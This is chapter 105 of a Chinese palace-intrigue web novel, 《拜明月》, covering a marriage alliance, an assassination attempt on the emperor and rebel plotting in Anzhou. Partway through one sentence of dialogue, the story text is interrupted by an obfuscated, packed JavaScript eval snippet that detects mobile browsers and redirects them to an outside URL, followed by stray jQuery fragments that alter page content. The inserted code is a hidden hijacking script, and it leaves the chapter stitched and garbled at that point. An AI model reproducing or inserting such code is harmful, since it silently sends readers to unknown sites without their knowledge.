105. 第 105 章

作品:《拜明月

    “我?”乘风不解,他原本以为就算公主知道了,也不会让他去说,而是,“不让白亭将军知道吗?”


    “皇祖母的多疑,你是知晓的,这件事情,不能由我说,如果要让白将军来开口,其实是可以的,只是届时你就失了先机了。”


    乘风略一思索,便明白了顾曦的意思,如果告知白亭再由他禀明太皇太后,那么她会以为乘风不知道此事,进而借由联姻一事向余北索要兵力,但若是乘风在此时说出他早就知道城外乔家屯兵一事,那太皇太后难免会怀疑,之前乘风的知而不说是蓄意的,或许会猜测他只是想得到联姻的回复之后便带着人走,不是真心要求联合。


    所以,此事必要由乘风开口是最好,以自知大昭有难,欲伸援手,也求联姻,有求有予,太皇太后自然无话可说。


    想明白了这件事,乘风正要点头应下顾曦的话,而后猛然想到什么,既然顾曦是站在他的立场思虑,那是不是意味着,殿下对于他的文书,并无反对。


    顾曦见面前这人终于反应过来,才轻笑了一声,而后抿唇,开口,“乘风,动作快一些,带我离开这里。”


    乘风很难形容此时自己的心绪,很乱,但也很开心。


    虽然他不知道殿下要离开的原因,是不是厌恶这勾心斗角的一切,但总归,殿下是要跟他一块离开了。


    “是,殿下,我绝不让您失望。”


    于是顾曦放松下来,整个人靠在椅子里,但脸却偏过去,看向乘风。


    “你替我做了这么多,可有什么心愿,是我能为你做的?”


    “以后的日子里,殿下能无忧无虑,便是乘风一生之愿。”


    饶是顾曦已然知晓这人对自己的心思,但猝不及防听到这么一句话,还是有些怔愣。


    父母还在世之时,不止一次说过,希望阿曦永远喜乐,自由自由,但那么爱着自己的两个人已经离开了,只不过,这世间好像又多了一个爱着她的人。


    “你……”


    顾曦想说点什么,但却发现自己说不出来,目光闪烁间,忽然发现,乘风的手腕空落落的,“我送你的琥珀珠串呢?”


    乘风没想到殿下会发现,他下意识收回手,握了又握,“殿下,我与殿下说一件事,您不要生气。”


    顾曦还记得当日自己送他这串珠串时,乘风的欣喜和震惊不似作假,还有那一句“见珠串如见公主”,但是眼下珠串却不在其手中,顾曦第一次感觉到了慌张。


    乘风见顾曦不说话,还以为她已经生气,想了一圈,声音中带上一丝恳请,“殿下方才问我有没有心愿,其实是有的。”


    听到面前的人需要自己帮忙完成心愿,顾曦的脸色好了一些,只是目光还是落在乘风的手腕上,“你说。”


    乘风从怀中取出这一路来被自己摩挲无数遍的珠串,“我之前和殿下说过,在余北设了围猎宴,那一次,我不小心把这串珠子弄坏了,珠子倒是都找回来了,只是我自己穿不好,也不愿意将您赠与我的珠子过他人之手,所以……殿下,您能不能帮我修好?”


    “所以,你是因为珠串坏了,才没有带的?”


    乘风点头,“是。”


    顾曦轻轻吐了口气,接过了那串松松垮垮的珠串。


    乘风见顾曦接过,心中立即如大石落地,也没有紧着追问,只当作顾曦已经答应修复,所以也没注意到顾曦的目光悄悄落在了他的耳朵上。


    夜已经深了,乘风自知不能久留,要离开之前,像是试探,问了一句,“琥珀是长久之物,殿下可知,在余北,琥珀有何寓意?”


    顾曦微微抿唇,手中暗自捏紧了那串珠子。


    但乘风好像就只是问问,也没打算逼问顾曦,又或许是觉得殿下肯定不知道,于是在顾曦开口之前,兀自摇了摇头,道:“殿下好眠。”


    身影消失在窗户后的黑暗。


    夜深,殿外却忽然传来一阵吵闹,执书听闻,开了殿门出去,虽说被太皇太后的人拦在芳华宫中不让出去,但从外面人议论的口中才知道,宫中居然有刺客,而被行刺之人,却是裴衡。


    顾曦也被吵醒,听到执书探来的话,心中有些担心,如若裴衡真的出事,那眼下的大昭就真是岌岌可危了,但若是裴衡没事,那么乘风的赢面就很大了。


    毕竟在这个时候还想着行刺皇上的,也只有心有不甘的那人了,太皇太后和裴衡都是对大统极为看重之人,经此一遍,绝不可能再让其登堂入室。


    翌日,顾曦起身后发现,今日竟是个难得一见的大晴日,往年这种时候,总要来几场欢送深秋一般的大雨的。


    执书把窗户推开,道:“今日这日子倒适合去御花园转转。”


    说罢,她自觉说错话,担忧地看向顾曦,却见顾曦仿佛无事人一般,端坐在妆台前,找寻着什么。


    执书过去,“殿下可是要找什么?”


    顾曦手中翻开一个匣子,“我记得母亲曾送我一件璎珞,珍珠网,坠黄玉的那一件。”


    太皇太后带着人进芳华宫时,顾曦正将手中的东西放进匣子里。


    “看来这几日你过得还不错。”


    顾曦规规矩矩给她行礼,“皇祖母只是将我困在这宫中,日常一切照旧,望舒自然过得不错。”


    “你就不怕哀家赐你一死。”


    “若是这样也不错,我便可与父母团圆了,”顾曦说着,“只是,如今这样的情况,孰是孰非显而易见,皇祖母真的要处死我吗?只是不知道我的罪名是什么?”


    太皇太后却忽然松了口气,沉默片刻,不去回答顾曦的问题,而后提到裴衡,“昨夜,有人闯进养心殿,刺杀衡儿。”


    “皇上可有事?”


    太皇太后看了她一眼,“倒是无事,方太医从安州拿来了草药,如今解药已成,衡儿服下之后,才睁开眼皮子说了会话,哀家刚离开,月妃便闯了进去,幸好被人拦下。”


    顾曦微微挑眉,那日她偷跑出宫被抓回,被猜到或许是月妃那里出了差错,只是没想到,裴衡还真的舍弃她,但也没有完全舍弃,这个刺杀的任务,定是裴衡交给她的,不过不知道许了什么好处罢了。


    “后宫行刺,当诛九族。”顾曦没什么表情说道。


    “是,只是这个月妃本就无父无母,前些日子宫变之时也已查出,她是于妙的人,当下要紧之事,是找到于妙和裴征二人,才能阻绝此次祸患。”


    “皇祖母可想到法子了?”


    顾曦说话的时候,太皇太后一直仔细留意着她的表情,见她一直没什么起伏,她心中焦急,衡儿虽无事,但被下了那么久的毒,昨夜又受了惊吓,眼下状况实在不好,王淑云肚子里的孩子还小,更不知道到底是男是女,早间余北可汗带着乔家在城外屯兵的消息前来告知的时候,她就知道,如今大昭的命脉,是暂时被拿捏在他手中了,又或者说是,拿捏在那一道请求联姻的文书上。


    想到这里,太皇太后率先沉不住气,直截了当说道:“余北来的联姻文书你是知道的,哀家今早已经应下了。”


    顾曦没想到乘风动作这么快,“皇祖母应下了,那么我与裴竺皇姐,您


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15636710|161091||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    可选好了?”


    太皇太后倒是想要有能自己选择的权利,只是塞勒赫明显不给她漏洞,今日带着乔家屯兵消息来的,还有他愿意让余北出五万铁骑援助大昭,作为交换,大昭必须应下余北的联姻之请。


    顾曦知道一旦乘风带着乔家屯兵的消息进宫,皇祖母便会低头,而昨夜的刺杀,毫无疑问加快了皇祖母的点头,谁也没法保证裴征在宫中还有没有其他的眼线,会不会对裴衡的性命造成威胁,这一场祸害,早些解决才是最好。


    “皇祖母不疑我与余北有勾结了,那想来便是余北可汗许了什么好处,足够让皇祖母放下芥蒂?”


    太皇太后只是安静了片刻,道:“你在与哀家置气。”


    顾曦说的话都是专门往她的心尖上戳的,只是,“我父母都死了,而您却还并不打算承认她们的死其实与您有关,难道我不能生气。”


    顾曦知道自己心中其实不仅仅只是不甘愿,更多的还有怒气,她怨皇祖母,为什么到了这种时候,却还能心平气和地与自己说话,半点不谈起母亲的难产,父亲的死,难不成这一切就这么静静地过去吗。


    只是太皇太后明显没打算跟她谈论这件事,她像一个高高在上的掌权者,无视她女儿的死,又丝毫不提起顾璞的死,似乎要把她曾经做过的错误决定和多疑猜忌湮灭在手掌下,她来就只是为了向顾曦宣告她以后的去处,而后无声离开。


    -


    安州,乔胜送走了前来索要这两座城池的抚南王,心中暗骂裴征这个人实在是无能,这样好的身份和占据皇宫的时机都能丢失,害他到如今只能一直蜷曲在安州境内,无法往上攻。


    身边副将进言:“将军,既然如此,为何我们不动用留在翎京城外的兵力,直接杀进翎京,也免得我们在这两州之地缩着。”


    乔胜拧眉,“若是行至无路,也只能这样了,只是在这之前,我们必须等到裴征。”


    说话间,外边有人高喊乔将军,而后推门进来,小将后面跟着的赫然就是裴征和于妙。


    乔胜迅速伪装了表情,迎上去,“阿妙,终于等到你了,可有受伤?”


    于妙却上前给了他一巴掌,“征儿被逼那日,你为何不相救!”


    “阿妙,不是我不救,实在是事出突然,我都是前两日才知道翎京的事情,怎么能够及时相救呢。”


    “是吗?”裴征阴冷冷地看着他,“只是在我们来的路上,却听说翎京城外似乎还埋伏着你的私兵,若是那日你的私兵能够及时进宫,我早就得手了!”


    乔胜脸色一变,“这事你如何得知?”


    私兵是他最后的招数,也是他兜底的底气,这件事情你怎么会知道的。


    于妙:“怎么知道的重要吗,你明明知道征儿……,你怎么能坐视不见。”


    “我真是不知,”乔胜道,“阿妙你信我,我们从溪州相识之时开始,我对你都是无有不依的,更何况此时事关征儿,我怎么会不出手呢。”


    “够了,”裴征没心思听他们两人互诉心肠,“说点正事,本王方才进来,瞧见了扶南王的人,是说了什么。”


    于是乔胜身边的副将将扶南王的话说了一遍。


    裴征:“此事不能再拖,必须尽快将陆明杀死,而后杀进翎京。”


    乔胜心中暗道,裴征对自己而言还有用处,况且杀进翎京也必须靠他这个身份,于是对他的话自然应下,只是,“翎京城外的兵力,你们是如何得知?莫非宫里的人也已经知道了?”


    于妙:“是我们逃出来的路上发现的。”